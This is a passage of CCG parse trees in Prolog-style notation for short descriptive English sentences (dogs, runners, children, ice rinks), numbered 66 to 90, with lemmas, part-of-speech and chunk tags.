t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'staring', 'stare', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(66,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'different', 'different', 'JJ', 'I-NP', 'O'),
t(n, 'breeds', 'breed', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'each', 'each', 'DT', 'I-NP', 'O'),
t(n, 'other', 'other', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(67,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:adj\np,
t(s:adj\np, 'furry', 'furry', 'JJ', 'I-ADJP', 'O'),
conj((s:adj\np)\(s:adj\np), s:adj\np,
t(conj, 'and', 'and', 'CC', 'I-ADJP', 'O'),
t(s:adj\np, 'black', 'black', 'JJ', 'I-ADJP', 'O')))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'back', 'back', 'JJ', 'I-NP', 'O'),
t(n, 'yard', 'yard', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'carrying', 'carry', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'basket', 'basket', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(68,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/pp, 'next', 'next', 'IN', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
bxc((s:dcl\np)/np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'probably', 'probably', 'RB', 'I-ADVP', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pine', 'pine', 'NN', 'I-NP', 'O')))))))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'biting', 'bite', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bucket', 'bucket', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(69,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'competition', 'competition', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'outside', 'outside', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(70,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'competition', 'competition', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'indoors', 'indoor', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(71,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'competition', 'competition', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'outside', 'outside', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(72,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'competitions', 'competition', 'NNS', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'outside', 'outside', 'IN', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(73,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'kid', 'kid', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:ng\np), 'happily', 'happily', 'RB', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sliding', 'slide', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(74,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hill', 'hill', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'covered', 'cover', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O')))))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O'))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'sliding', 'slide', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'knees', 'knee', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(75,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'old', 'old', 'JJ', 'I-ADJP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(76,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tree', 'tree', 'NN', 'I-NP', 'O'),
t(n, 'stump', 'stump', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(77,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:pss\np,
t((s:pss\np)/pp, 'equipped', 'equip', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'protective', 'protective', 'JJ', 'I-NP', 'O'),
t(n, 'gear', 'gear', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(78,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:pss\np,
t((s:pss\np)/pp, 'equipped', 'equip', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'gear', 'gear', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'used', 'use', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'protection', 'protection', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(79,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
ba(n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(n,
t(n/n, 'one', 'one', 'CD', 'I-NP', 'O'),
ba(n,
t(n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n\n, 'one', 'one', 'CD', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'side', 'side', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'side', 'side', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(80,
rp(s:dcl,
ba(s:dcl,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'coat', 'coat', 'NN', 'I-NP', 'O'))),
lp(np:nb\np:nb,
t(comma, ',', ',', ',', 'O', 'O'),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(81,
rp(s:dcl,
ba(s:dcl,
fa(np,
t(np/np, 'Not', 'not', 'RB', 'I-NP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lot', 'lot', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'ice', 'ice', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'skating', 'skate', 'VBG', 'I-VP', 'O'),
t(n, 'park', 'park', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(82,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'ice', 'ice', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'skating', 'skate', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'rink', 'rink', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'placed', 'place', 'VBN', 'I-NP', 'O'),
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O'))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:adj\np,
t((s:adj\np)/pp, 'full', 'full', 'JJ', 'I-ADJP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(83,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'uniform', 'uniform', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'cheering', 'cheer', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(84,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'cheering', 'cheer', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'uniform', 'uniform', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(85,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'kissed', 'kiss', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(86,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'kissed', 'kiss', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(87,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'blowing', 'blow', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bubble', 'bubble', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(88,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'blowing', 'blow', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bubble', 'bubble', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'huge', 'huge', 'JJ', 'I-ADJP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(89,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'corndogs', 'corndog', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'eaten', 'eat', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'toddlers', 'toddler', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'wagon', 'wagon', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:adj\np,
t((s:adj\np)/(s:adj\np), 'really', 'really', 'RB', 'I-ADJP', 'O'),
t(s:adj\np, 'small', 'small', 'JJ', 'I-ADJP', 'O')))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(90,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'toddlers', 'toddler', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
lx(np, n,
